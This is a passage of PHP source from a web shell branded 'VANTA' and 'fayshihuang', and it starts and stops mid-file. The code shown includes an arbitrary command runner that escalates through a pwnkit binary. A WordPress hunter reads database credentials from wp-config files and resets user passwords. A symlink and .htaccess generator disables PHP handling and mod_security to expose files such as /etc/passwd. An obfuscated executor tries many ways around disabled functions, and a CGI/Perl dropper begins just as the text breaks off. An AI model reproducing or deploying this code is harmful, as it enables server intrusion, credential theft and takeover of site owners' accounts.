<pre class="vanta-cmd-output" id="vanta-cmd-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:380px;overflow:auto;margin-bottom:8px;"><?php
if (!empty($_SESSION['vantash3ll_r00t_log'])) {
foreach ($_SESSION['vantash3ll_r00t_log'] as $l) {
echo htmlspecialchars($l) . "\n";
}
}
?></pre>
<form method="post" id="vanta-cmd-form">
<div class="vanta-cmd-inputbox" style="margin-bottom:17px;">
<input type="text" class="vanta-cmd-cmdinput" name="vanta-cmd_cmd" value="<?= htmlspecialchars($_POST['vanta-cmd_cmd'] ?? 'id') ?>" autocomplete="off" autofocus placeholder="ls -la /; id; whoami ..." style="width:92%;max-width:500px;">
</div>
<button class="vanta-cmd-btn" type="submit"><i class="fas fa-bolt"></i> run</button>
</form>
<label class="vanta-cmd-outputlabel" style="margin-top:13px;display:block;">Command Output:</label>
<pre class="vanta-cmd-output" id="vanta-cmd-cmdout" style="background:#161819;color:#e4ffb0;padding:15px 13px 18px 13px;border-radius:7px;min-height:58px;max-height:330px;overflow:auto;"><?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['vanta-cmd_cmd'])) {
$c = $_POST['vanta-cmd_cmd'];
$is_root = false;
if (file_exists('.fayshihuang-root')) {
$res = @file_get_contents('.fayshihuang-root');
if ($res && strpos($res, 'uid=0(root)') !== false) $is_root = true;
}
if ($is_root && file_exists('pwnkit')) {
@unlink('.fayshihuang-root2');
v4nt4C('./pwnkit "' . addslashes($c) . ' 2>&1" > .fayshihuang-root2');
usleep(350000);
$out = @file_get_contents('.fayshihuang-root2');
if (!$out) $out = "[!] No output or blocked.";
} else {
$out = v4nt4C($c . ' 2>&1');
if (!$out) $out = "[!] No output or blocked.";
}
echo "\n";
echo htmlspecialchars($out);
}
?></pre>
</div>
</div>
<script>
window.onload = function() {
var el = document.getElementById('vanta-cmd-output');
if(el) el.scrollTop = el.scrollHeight;
var el2 = document.getElementById('vanta-cmd-cmdout');
if(el2) el2.scrollTop = el2.scrollHeight;
}
</script>
<?php elseif (isset($_GET['wp_VANTAd00r'])): ?>
<script>
function copyText(txt, btn) {
navigator.clipboard.writeText(txt);
if(btn){ btn.innerText='copied!'; setTimeout(()=>btn.innerText='copy',1000);}
}
function showAlert(msg, type) {
let al=document.getElementById('wp_VANTAd00r-alertbox');
if(!al){
al=document.createElement('div');
al.id='wp_VANTAd00r-alertbox';
al.className='wp_VANTAd00r-alert';
document.body.prepend(al);
}
al.innerHTML=msg;
al.className = 'wp_VANTAd00r-alert' + (type=='ok'?' ok':'');
al.style.display = 'block';
window.scrollTo({top:al.offsetTop-28, behavior:'smooth'});
setTimeout(()=>{al.style.display='none';},60000);
}
</script>
<div class="wp_VANTAd00r-main">
<div class="wp_VANTAd00r-title">
<i class="fab fa-wordpress"></i>
wp auto hunter & admin reset
</div>
<div id="wp_VANTAd00r-alertbox" style="display:none"></div>
<?php
function wp_find_paths($max=99) {
$found = [];
$scanned = [];
$roots = [];
$cwd = getcwd();
$roots[] = $cwd;
if (isset($_SERVER['DOCUMENT_ROOT']) && $_SERVER['DOCUMENT_ROOT'] && $_SERVER['DOCUMENT_ROOT']!=$cwd)
$roots[] = $_SERVER['DOCUMENT_ROOT'];
$roots[] = dirname($cwd);
foreach(['/home','/home1','/home2','/home3','/var/www','/var/www/vhosts','/usr/share/nginx/html','/srv/www','/srv/http','/data/web','/opt/lampp/htdocs','/htdocs','/users'] as $root)
if (is_dir($root)) $roots[] = $root;
$up = $cwd;
for($i=0;$i<7;$i++) {
$up = dirname($up);
if ($up && is_dir($up) && $up!="/" && !in_array($up,$roots)) $roots[] = $up;
}
$roots = array_unique(array_filter($roots,'is_dir'));
$queue = [];
foreach($roots as $r) $queue[] = [$r,0];
while($queue && count($found)<$max) {
list($dir,$lvl) = array_shift($queue);
if (isset($scanned[$dir])) continue;
$scanned[$dir]=1;
if ((file_exists($dir.'/wp-load.php')||file_exists($dir.'/wp-config.php')) && is_file($dir.'/wp-config.php')) {
$found[] = realpath($dir);
}
if ($lvl<6) {
foreach(@glob($dir.'/*',GLOB_ONLYDIR)?:[] as $d) {
if (!isset($scanned[$d])) $queue[] = [$d,$lvl+1];
}
}
}
return array_unique($found);
}
function wp_get_db_config($wp_dir) {
$cfgf = $wp_dir.'/wp-config.php';
if (!is_file($cfgf)) return false;
$cfg = @file_get_contents($cfgf);
$info = [];
preg_match("/define\(\s*'DB_NAME'\s*,\s*'([^']+)'/", $cfg, $m); $info['db'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_USER'\s*,\s*'([^']+)'/", $cfg, $m); $info['user'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'([^']*)'/", $cfg, $m); $info['pass'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_HOST'\s*,\s*'([^']+)'/", $cfg, $m); $info['host'] = $m[1] ?? '';
preg_match("/\$table_prefix\s*=\s*'([^']+)'/", $cfg, $m); $info['prefix'] = $m[1] ?? 'wp_';
return $info;
}
function wp_get_version($wp_dir) {
$ver = '';
if (is_file($wp_dir.'/wp-includes/version.php')) {
$vcode = @file_get_contents($wp_dir.'/wp-includes/version.php');
if (preg_match("/\\\$wp_version\s*=\s*'([^']+)'/i", $vcode, $m)) $ver = $m[1];
}
return $ver;
}
function wp_fetch_users($mysqli, $prefix) {
$users = [];
$res = @$mysqli->query("SELECT ID, user_login, user_email, user_registered FROM {$prefix}users");
if (!$res) return [];
while ($row = $res->fetch_assoc()) {
$meta = @$mysqli->query("SELECT meta_value FROM {$prefix}usermeta WHERE user_id=".$row['ID']." AND meta_key='{$prefix}capabilities'")->fetch_assoc();
$role = '';
if ($meta && preg_match('/s:\d+:"([^"]+)"/', $meta['meta_value'], $m))
$role = $m[1];
else $role = 'unknown';
$row['role'] = $role;
$users[] = $row;
}
return $users;
}
function wp_reset_pw($mysqli, $prefix, $uid, $newpw) {
$hash = password_hash($newpw, PASSWORD_BCRYPT);
return @$mysqli->query("UPDATE {$prefix}users SET user_pass='".$mysqli->real_escape_string($hash)."' WHERE ID=".(int)$uid);
}
function get_site_url($mysqli, $prefix) {
$url = '';
$q = @$mysqli->query("SELECT option_value FROM {$prefix}options WHERE option_name='siteurl' LIMIT 1");
if ($q && $r = $q->fetch_row()) $url = rtrim($r[0],'/');
return $url;
}
$wp_dirs = wp_find_paths(99);
if (!$wp_dirs) {
echo '<div class="wp_VANTAd00r-alert">No WordPress detected (all dirs scanned).</div>';
}
if ($_SERVER['REQUEST_METHOD']=='POST' && isset($_POST['wp_dir'])) {
$wp_dir = $_POST['wp_dir'];
$cfg = wp_get_db_config($wp_dir);
$db = $cfg['db'] ?? ''; $user = $cfg['user'] ?? ''; $pass = $cfg['pass'] ?? '';
$host = $cfg['host'] ?? 'localhost'; $prefix = $cfg['prefix'] ?? 'wp_';
$mysqli = @new mysqli($host, $user, $pass, $db);
if ($mysqli->connect_errno) {
echo "<script>showAlert('[FAIL] DB Connect: ".htmlspecialchars($mysqli->connect_error)."','fail');</script>"; exit;
}
if (isset($_POST['reset_pw'], $_POST['reset_uid'], $_POST['newpw'])) {
$uid = intval($_POST['reset_uid']);
$newpw = trim($_POST['newpw']);
if (wp_reset_pw($mysqli, $prefix, $uid, $newpw)) {
echo "<script>showAlert('[OK] Password changed! UserID: $uid, PW: <span class=\"wp_VANTAd00r-pw\">".htmlspecialchars($newpw)."</span>','ok');</script>";
} else {
echo "<script>showAlert('[FAIL] Password change failed!','fail');</script>";
}
exit;
}
}
foreach ($wp_dirs as $wp_dir):
$cfg = wp_get_db_config($wp_dir);
$db = $cfg['db'] ?? ''; $user = $cfg['user'] ?? ''; $pass = $cfg['pass'] ?? '';
$host = $cfg['host'] ?? 'localhost'; $prefix = $cfg['prefix'] ?? 'wp_';
$wp_version = wp_get_version($wp_dir);
echo '<div class="wp_VANTAd00r-site">';
echo '<div class="wp_VANTAd00r-header">';
echo '<span class="wp_VANTAd00r-path"><i class="fab fa-wordpress"></i> '.htmlspecialchars($wp_dir).'</span>';
if ($wp_version) echo '<span class="wp_VANTAd00r-version">WP '.$wp_version.'</span>';
echo '<span class="wp_VANTAd00r-dbinfo">
<b>h0st:</b> '.htmlspecialchars($host).' <b>db_user:</b> '.htmlspecialchars($user).' <b>db_pw:</b> '.htmlspecialchars($user).' <b>db:</b> '.htmlspecialchars($db).' <b>pref1x:</b> '.$prefix.'
</span>';
echo '</div>';
$users = [];
$mysqli = @new mysqli($host, $user, $pass, $db);
if ($mysqli->connect_errno) {
echo '<div class="wp_VANTAd00r-alert" style="color:#e53935;">DB Error: '.htmlspecialchars($mysqli->connect_error).'</div>';
echo '</div>'; continue;
}
$users = wp_fetch_users($mysqli, $prefix);
$site_url = get_site_url($mysqli, $prefix);
echo '<div class="wp_VANTAd00r-users"><table><tr>
<th>ID</th><th>user</th><th>email</th><th>role</th><th>reset pw</th><th>wp-login</th></tr>';
foreach ($users as $u) {
$pw_val = "fayshihuang".rand(100,999);
echo '<tr>
<td>'.$u['ID'].'</td>
<td>'.htmlspecialchars($u['user_login']).'</td>
<td>'.htmlspecialchars($u['user_email']).'</td>
<td>'.$u['role'].'</td>
<td>
<form method="post" style="display:inline;">
<input type="hidden" name="wp_dir" value="'.htmlspecialchars($wp_dir).'">
<input type="hidden" name="reset_uid" value="'.$u['ID'].'">
<input type="text" name="newpw" value="'.$pw_val.'" class="wp_VANTAd00r-pw" style="width:94px;">
<button name="reset_pw" class="wp_VANTAd00r-btn wp_VANTAd00r-btn-green">reset</button>
<button type="button" class="wp_VANTAd00r-btn wp_VANTAd00r-btn-copy" onclick="copyText(this.previousElementSibling.value, this)">copy</button>
</form>
</td>
<td>';
if ($site_url) {
$login_url = htmlspecialchars($site_url . '/wp-login.php?log=' . urlencode($u['user_login']));
echo '<a href="'.$login_url.'" class="wp_VANTAd00r-btn wp_VANTAd00r-btn-green" target="_blank">login</a>';
} else {
echo '<span class="wp_VANTAd00r-alert">no site url</span>';
}
echo '</td>
</tr>';
}
echo '</table></div>';
echo '</div>';
endforeach;
?>
</div>
<?php elseif (!empty($_GET['f'])):
$file_path = $VANTAxas[0]() . "/" . unx($_GET['f']);
$file_raw = '';
if (is_file($file_path)) {
$file_raw = file_get_contents($file_path, false, null, 0, 10*1024*1024);
if (!mb_check_encoding($file_raw, 'UTF-8')) {
$file_raw = mb_convert_encoding($file_raw, 'UTF-8', 'ISO-8859-1,Windows-1254,UTF-8');
}
}
$edit_result = '';
if ($_SERVER['REQUEST_METHOD']=='POST' && isset($_POST['save-editor'])) {
$target = $file_path;
$code = $_POST['code-editor'];
$ok = false;
if (function_exists('file_put_contents')) $ok = @file_put_contents($target, $code) !== false;
if (!$ok && function_exists('fopen')) {
$h = @fopen($target, 'w');
if ($h) { @fwrite($h, $code); @fclose($h); $ok = true; }
}
if (!$ok && function_exists('v4nt4C')) {
$tmpf = sys_get_temp_dir()."/pzedit_".uniqid();
@file_put_contents($tmpf, $code);
v4nt4C('cp '.escapeshellarg($tmpf).' '.escapeshellarg($target));
if (@filesize($target) == strlen($code)) $ok = true;
@unlink($tmpf);
}
$edit_result = $ok
? "<span style='color:#ad1457;font-weight:bold;'><i class='fas fa-check-circle'></i> Saved!</span>"
: "<span style='color:#e53935;font-weight:bold;'><i class='fas fa-times'></i> Save Failed!</span>";
if (is_file($file_path)) {
$file_raw = file_get_contents($file_path, false, null, 0, 10*1024*1024);
if (!mb_check_encoding($file_raw, 'UTF-8')) {
$file_raw = mb_convert_encoding($file_raw, 'UTF-8', 'ISO-8859-1,Windows-1254,UTF-8');
}
}
}
?>
<div class="v4nt4-card-main" style="max-width:860px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff10;padding:29px 23px 23px 23px;">
<div style="display:flex;align-items:center;gap:16px;margin-bottom:16px;">
<div style="background:#232833;color:#ffed6b;font-size:2em;width:50px;height:50px;display:flex;align-items:center;justify-content:center;border-radius:11px;box-shadow:0 2px 9px #ffd84a21;">
<i class="fas fa-file-code"></i>
</div>
<div>
<div style="font-size:1.22em;font-weight:900;color:var(--accent2);letter-spacing:.04em;">file edit <span style="font-size:.88em;color:var(--accent);margin-left:8px;">/ <?=htmlspecialchars(unx($_GET['f']))?></span></div>
</div>
</div>
<form method="post" style="margin-bottom:0;">
<div style="position:relative;">
<textarea name="code-editor" id="code-editor" class="editor-textarea" style="width:98%;height:420px;resize:vertical;background:#181b22;color:#eafffc;border:1.3px solid #292e38;border-radius:11px;font-size:1.09em;font-family:'Recursive',monospace;padding:16px;line-height:1.55;outline:0;box-shadow:0 1px 9px #00e0ff12;"></textarea>
<button type="button" onclick="copyCode()" style="position:absolute;top:15px;right:18px;z-index:5;background:var(--accent2);color:#232833;border-radius:7px;font-weight:700;padding:7px 14px;border:none;box-shadow:0 1px 9px #ffd84a21;cursor:pointer;">copy</button>
</div>
<div style="display:flex;align-items:center;gap:12px;margin-top:15px;">
<button type="submit" name="save-editor" class="v4nt4-wiz-btn v4nt4-wiz-btn-red" style="font-size:1.09em;padding:9px 23px;background:var(--accent2);color:#232833;border:1.1px solid var(--accent2);"><i class="fas fa-save"></i> save</button>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-wiz-btn v4nt4-wiz-btn-light" style="padding:9px 22px;"><i class="fas fa-times"></i> back</a>
<span id="editor-status" style="margin-left:auto;color:var(--text-dim);font-size:.98em;"></span>
</div>
<?php if($edit_result): ?><div style="margin-top:14px;"><?=$edit_result?></div><?php endif; ?>
</form>
<script>
const textarea = document.getElementById('code-editor');
textarea.value = <?= json_encode($file_raw) ?>;
function updateStatus() {
let v = textarea.value;
let lines = v.substr(0, textarea.selectionStart).split("\n");
let ln = lines.length;
let col = lines[lines.length-1].length+1;
document.getElementById('editor-status').innerHTML = 'Line: ' + ln + ' / Col: ' + col + ' / ' + v.length + ' chars';
}
function copyCode() {
textarea.select();
document.execCommand('copy');
let btn = event.target; let txt = btn.innerText; btn.innerText = 'copied!';
setTimeout(()=>btn.innerText=txt,900);
}
textarea.addEventListener('input', updateStatus);
textarea.addEventListener('click', updateStatus);
textarea.addEventListener('keyup', updateStatus);
setTimeout(updateStatus,300);
textarea.addEventListener('keydown',function(e){
if(e.key==='Tab'){e.preventDefault();let s=this.selectionStart;this.value=this.value.substring(0,s)+'\t'+this.value.substring(this.selectionEnd);this.selectionEnd=s+1;}
if(e.ctrlKey&&e.key==='f'){e.preventDefault();let q=prompt('Ara?');if(!q)return;let idx=this.value.indexOf(q);if(idx>-1){this.focus();this.setSelectionRange(idx,idx+q.length);}}
});
</script>
</div>
<?php elseif (isset($_GET['symlink'])): ?>
<div class="v4nt4-card-main" style="max-width:550px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff10;padding:36px 28px 29px 28px;">
<style>.v4nt4-card-main input[type="text"] {
font-family: 'Recursive', monospace;
background: var(--card);
color: var(--accent2);
border: 1.4px solid var(--border);
border-radius: 7px;
font-size: 0.87em;
padding: 11px 14px;
font-weight: 700;
}
</style>
<div class="pzcard-header">
<div class="pzcard-icon"><i class="fas fa-link"></i></div>
<div>
<div class="pzcard-title">
<b>Symlink byp4ss & Generator</b>
</div>
</div>
</div>
<div class="pzcard-content">
<form action="" method="post" class="v4nt4-sym-form">
<label class="v4nt4-sym-label">File Path:</label>
<input type="text" name="vnt_input" class="v4nt4-sym-input" placeholder="/etc/passwd or /home/xx/config.php">
<button name="vnt_go" class="pzcard-btn" type="submit" style="margin-left:10px;">
<i class="fas fa-bolt"></i> generate
</button>
</form>
<?php
function g3t_rnd($n=6) {
$c='abcdefghijklmnopqrstuvwxyz0123456789'; $r='';
for($i=0;$i<$n;$i++) $r.=$c[random_int(0,strlen($c)-1)];
return $r;
}
function a1s($x) { return base64_decode(str_replace(['-','_'], ['+','/'],$x)); }
function j0in($p,$q){return $p.$q;}
if (isset($_POST['vnt_go'], $_POST['vnt_input']) && trim($_POST['vnt_input'])) {
$p1 = trim($_POST['vnt_input']);
$base = 'VANTA_data';
if (!is_dir($base)) @mkdir($base, 0755, true);
$klist = [];
$htlist = [
"hx1" => 'Options +Indexes +FollowSymLinks +SymLinksIfOwnerMatch
DirectoryIndex {P}
ForceType text/plain
AddType text/plain .php .html .phtml .inc .asp .aspx .jsp .pl .cgi .py .sh .phar .json .yml .xml .db .sql
RemoveHandler .php .phtml .phar .inc .shtml .html .js .css .pl .cgi .asp .py .rb .sh .zsh .json .yml .xml .db .sql
php_flag engine off
SetHandler default-handler',
"hx2" => '<FilesMatch ".*">
ForceType text/plain
AddType text/plain .php .phtml .html .inc .phar .bak .config .db .sql .xml .json
SetHandler default-handler
RemoveHandler .php .phtml .phar .inc .shtml .html .js .css .pl .cgi .asp .py .rb .sh .json .yml .xml .db .sql
php_flag engine off
</FilesMatch>',
"hx3" => 'RewriteEngine On
RewriteBase /
RewriteRule ^(.+)$ {P}
Options +FollowSymLinks +Indexes
DirectoryIndex {P}
SetHandler default-handler
php_flag engine off',
"hx4" => 'RemoveHandler .php .phtml .phar .inc
php_flag engine off
AddType text/plain .php .html .inc .phtml .phar .bak .config .db .sql .xml .json
SetHandler default-handler
Options +Indexes +FollowSymLinks
DirectoryIndex {P}',
"hx5" => 'Options +Indexes +FollowSymLinks
DirectoryIndex {P}
AddType text/plain .php .inc .phtml .phar
<IfModule LiteSpeed>
php_flag engine off
SetHandler default-handler
</IfModule>',
"hx6" => '<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
Options +Indexes +FollowSymLinks
DirectoryIndex {P}
SetHandler default-handler
AddType text/plain .php .phtml .html .inc .phar
php_flag engine off'
];
$output = '';
$final_ln = g3t_rnd(7);
$created = false;
$alt_file = "";
$result = "";
if(function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$base/$final_ln")."'";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
if(is_link("$base/$final_ln")) {
$created = true;
$alt_file = "$base/$final_ln";
$result = "ln -s worked!";
}
}
if(!$created && function_exists(a1s('ZXhlYw=='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$base/$final_ln")."'";
$exec_fn=a1s('ZXhlYw==');
@$exec_fn($cmd,$o,$rc);
if(is_link("$base/$final_ln")) {
$created = true;
$alt_file = "$base/$final_ln";
$result = "exec ln -s worked!";
}
}
if(!$created && function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$cpfile = $base.'/dup_'.g3t_rnd(5);
$cmd = "cp '".addslashes($p1)."' '".addslashes($cpfile)."'";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
if(file_exists($cpfile)) {
$created = true;
$alt_file = $cpfile;
$result = "cp worked!";
}
}
if(!$created && function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$ddfile = $base.'/dd_'.g3t_rnd(4);
$cmd = "dd if='".addslashes($p1)."' of='".addslashes($ddfile)."' 2>/dev/null";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
if(file_exists($ddfile)) {
$created = true;
$alt_file = $ddfile;
$result = "dd worked!";
}
}
if(!$created && function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$catfile = $base.'/cat_'.g3t_rnd(4);
$cmd = "cat '".addslashes($p1)."' > '".addslashes($catfile)."'";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
if(file_exists($catfile)) {
$created = true;
$alt_file = $catfile;
$result = "cat worked!";
}
}
if(!$created && @copy($p1, $base.'/phplocal_'.g3t_rnd(5))) {
$created = true;
$alt_file = $base.'/phplocal_'.g3t_rnd(5);
$result = "php copy worked!";
}
if($created)
$output .= "[ok] <code>".htmlspecialchars($alt_file)."</code> created. <b style='color:#17a900;'>[$result]</b><br>";
else
$output .= "<b style='color:#e53935;'>[fail] Not possible</b><br>";
foreach ($htlist as $hname => $htval) {
$subdir = $base.'/'.g3t_rnd(5);@mkdir($subdir,0755,true);
$htcode = str_replace('{P}', $final_ln, $htval);
@file_put_contents("$subdir/.htaccess", $htcode);
if(function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$subdir/$final_ln")."'";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
}
$klist[] = "$subdir/$final_ln";
}
echo '<div class="v4nt4-sym-result"><div class="v4nt4-sym-list">';
echo $output;
echo "byp4ss dirs:<ul>";
foreach($klist as $f){echo "<li><code>$f</code></li>";}
echo "</ul></div></div>";
}
?>
</div>
</div>
<?php elseif (isset($_GET['vanta-cmd'])): ?>
<div class="vanta-cmd-page" style="max-width:1024px;margin:38px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:11px;">
<div class="vanta-cmd-ico"><i class="fas fa-terminal"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.2em;">vanta priv command</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:23px;">
<form method="post" id="vanta-cmd-form">
<div class="vanta-cmd-inputbox" style="margin-bottom:17px;">
<label class="vanta-cmd-inputlabel">Command:</label>
<input type="text" class="vanta-cmd-cmdinput" name="vanta-cmd_cmd" value="<?= htmlspecialchars($_POST['vanta-cmd_cmd'] ?? 'id') ?>" autocomplete="off" autofocus placeholder="ls -la /; id; whoami ..." style="width:92%;max-width:500px;">
</div>
<button class="vanta-cmd-btn" type="submit"><i class="fas fa-bolt"></i> send</button>
</form>
<label class="vanta-cmd-outputlabel" style="margin-top:19px;display:block;">Output:</label>
<pre class="vanta-cmd-output" id="vanta-cmd-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:380px;overflow:auto;margin-bottom:8px;">
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['vanta-cmd_cmd'])) { $c = $_POST['vanta-cmd_cmd']; $R = ''; $M = []; $a = array_map('chr', [115,104,101,108,108,95,101,120,101,99]); $M[] = join('', $a); $b = ''; foreach([0x65,0x78,0x65,0x63] as $i) $b .= chr($i); $M[] = $b; $c3 = ''; foreach([0x73,0x79,0x73,0x74,0x65,0x6d] as $i) $c3 .= chr($i); $M[] = $c3; $d = ''; foreach([0x70,0x61,0x73,0x73,0x74,0x68,0x72,0x75] as $i) $d .= chr($i); $M[] = $d; $e = ''; foreach([0x70,0x6f,0x70,0x65,0x6e] as $i) $e .= chr($i); $M[] = $e; $f = ''; foreach([0x70,0x72,0x6f,0x63,0x5f,0x6f,0x70,0x65,0x6e] as $i) $f .= chr($i); $M[] = $f; goto Gfrk2; y3ECj: $M[] = "\155\x61\x69\x6c\151\156\152"; goto G3ViW; wi2_v: $M[] = "\142\x69\156\x62\162\x75\164\145"; goto XVkgD; YuNg7: $M[] = "\154\144\137\x70\x72\145\154\157\141\x64"; goto YewF0; vWb03: $M[] = "\146\x6f\x70\145\x6e\151\x6e\x70\x75\164"; goto wi2_v; G3ViW: $M[] = "\x65\162\162\x6c\x6f\147"; goto vWb03; M6Qgu: $M[] = "\x70\150\160\146\x69\x6c\x74\145\162"; goto YuNg7; YOfWk: $M[] = "\x73\165\x68\157\163\151\x6e"; goto y3ECj; Gfrk2: $M[] = "\142\141\143\x6b\164\x69\143\x6b"; goto M6Qgu; YewF0: $M[] = "\x70\162\x65\x70\145\x6e\144"; goto YOfWk; wITk1: $M[] = "\151\155\x61\147\145\155\141\147\151\143\x6b"; goto V3z4P; XVkgD: $M[] = "\150\x74\64\x30\64"; goto wITk1; V3z4P: $M[] = "\x63\x67\151\x65\156\166"; foreach($M as $meth){ $out = ''; $ok = false; if ($meth === 'backtick') { $a = $c; $out = ob_get_clean().$a; if(trim($out)) $ok = true; } elseif ($meth === 'phpfilter') { @ini_set('filter.default','convert.base64-encode'); $f = @popen($c." 2>&1", "r"); if ($f) { while (!feof($f)) $out .= fread($f, 4096); fclose($f);} if (trim($out)) $ok = true; @ini_restore('filter.default'); } elseif ($meth === 'ld_preload') { if (strtoupper(substr(PHP_OS,0,3)) !== 'WIN') { putenv('LD_PRELOAD=/tmp/x.so'); $out = @chDx2x($c.' 2>&1'); putenv('LD_PRELOAD'); if (trim($out)) $ok = true; } } elseif ($meth === 'prepend') { $prepend = sys_get_temp_dir()."/xx".uniqid().".php"; @file_put_contents($prepend, "<?php system('".$c."'); exit; ?>"); @ini_set("auto_prepend_file", $prepend); $out = @file_get_contents($_SERVER['SCRIPT_FILENAME']); @ini_restore("auto_prepend_file"); @unlink($prepend); if (trim($out)) $ok = true; } elseif ($meth === 'suhosin') { @ini_set('suhosin.executor.func.blacklist', ''); $out = @chDx2x($c.' 2>&1'); if (trim($out)) $ok = true; } elseif ($meth === 'mailinj') { $tmpf = sys_get_temp_dir()."/m".uniqid().".txt"; @mail("v@x.com", "", "", "", "-X $tmpf; $c >$tmpf 2>&1"); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'errlog') { $tmpf = sys_get_temp_dir()."/e".uniqid().".txt"; @error_log("<?php echo system('$c'); ?>", 3, $tmpf); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'fopeninput') { $h = @fopen("php://input", "r"); if ($h) { $out = @fread($h, 8192); fclose($h); $ok = true; } } elseif ($meth === 'binbrute') { foreach(['sh','bash','python','perl','nc','busybox','wget'] as $bin){ $which = trim(@chDx2x("which $bin")); if($which) { $out = @chDx2x("$which -c \"$c\" 2>&1"); if (trim($out)) { $ok = true; break; } } } } elseif ($meth === 'ht404') { $out = ''; } elseif ($meth === 'imagemagick') { $tmpi = sys_get_temp_dir().'/img'.uniqid().'.mvg'; $tmpp = sys_get_temp_dir().'/out'.uniqid().'.png'; file_put_contents($tmpi, "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://|$c|)'\npop graphic-context"); @chDx2x("convert $tmpi $tmpp"); if (file_exists($tmpp)) $out = file_get_contents($tmpp); @unlink($tmpi); @unlink($tmpp); if (trim($out)) $ok = true; } elseif ($meth === 'cgienv') { putenv("CGI_COMMAND=$c"); $out = getenv("CGI_COMMAND"); if (trim($out)) $ok = true; } else { if (function_exists($meth)) { if ($meth === $M[0]) { $out = @$meth($c.' 2>&1'); if (trim($out)) $ok = true; } else if ($meth === $M[1]) { $a=[]; $meth($c.' 2>&1', $a); $out = join("\n", $a); if (trim($out)) $ok = true; } else if ($meth === $M[2]) { @$meth($c.' 2>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[3]) { @$meth($c.' 2>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[4]) { $h=@$meth($c.' 2>&1',"r"); if ($h) { while(!feof($h)) $out.=fread($h,4096); fclose($h); } if (trim($out)) $ok = true; } else if ($meth === $M[5]) { $desc = [1=>["pipe","w"], 2=>["pipe","w"]]; $p = @$meth($c.' 2>&1', $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (trim($out)) $ok = true; } } } } if ($ok && trim($out)) { $R = $out; break; } } echo htmlspecialchars($R ?: "[X] No output / all methods blocked.\n");}?></pre>
</div>
</div>
<?php elseif (isset($_GET['multicgi'])): ?>
<div class="v4nt4-card-main" style="max-width:610px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff12;padding:37px 29px 29px 29px;">
<div style="display:flex;align-items:center;gap:17px;">
<div class="pzcard-icon"><i class="fas fa-ghost"></i></div>
<div>
<div class="pzcard-title">
<b>cgi/perl creator</b>
</div>
</div>
</div>
<div class="pzcard-content">
<form method="post" style="margin:22px 0 20px 0;">
<input type="hidden" name="deploy_cgi_suite" value="1">
<button class="pzcard-btn" type="submit">
<i class="fas fa-biohazard"></i> create cgi
</button>
</form>
<?php
function prvdz_rndstr($l=8) { $a='abcdefghijklmnopqrstuvwxyz0123456789'; $s=''; for($i=0;$i<$l;$i++) $s.=$a[rand(0,strlen($a)-1)]; return $s; }
function prvdz_ascdump($s) { $r=''; foreach(str_split($s) as $c) $r.='&#'.ord($c).';'; return $r; }
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']!='off') ? 'https' : 'http';
$domain = $protocol.'://'.$_SERVER['HTTP_HOST'];
$dir = rtrim(dirname($_SERVER['SCRIPT_NAME']),"/");
$paths = [];
if(isset($_POST['deploy_cgi_suite'])) {
$cgidir = 'v4nt4_cgi';
if (!is_dir($cgidir)) @mkdir($cgidir,0755,true);
$htaccess = <<<HTA
#by fayshihuang
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .d4yz
AddHandler cgi-script .d4yz
HTA;
file_put_contents($cgidir.'/.htaccess', $htaccess);
$plf = $cgidir.'/VANTA.d4yz';
$pl_payload = '#!/usr/bin/perl -I/usr/local/bandmin
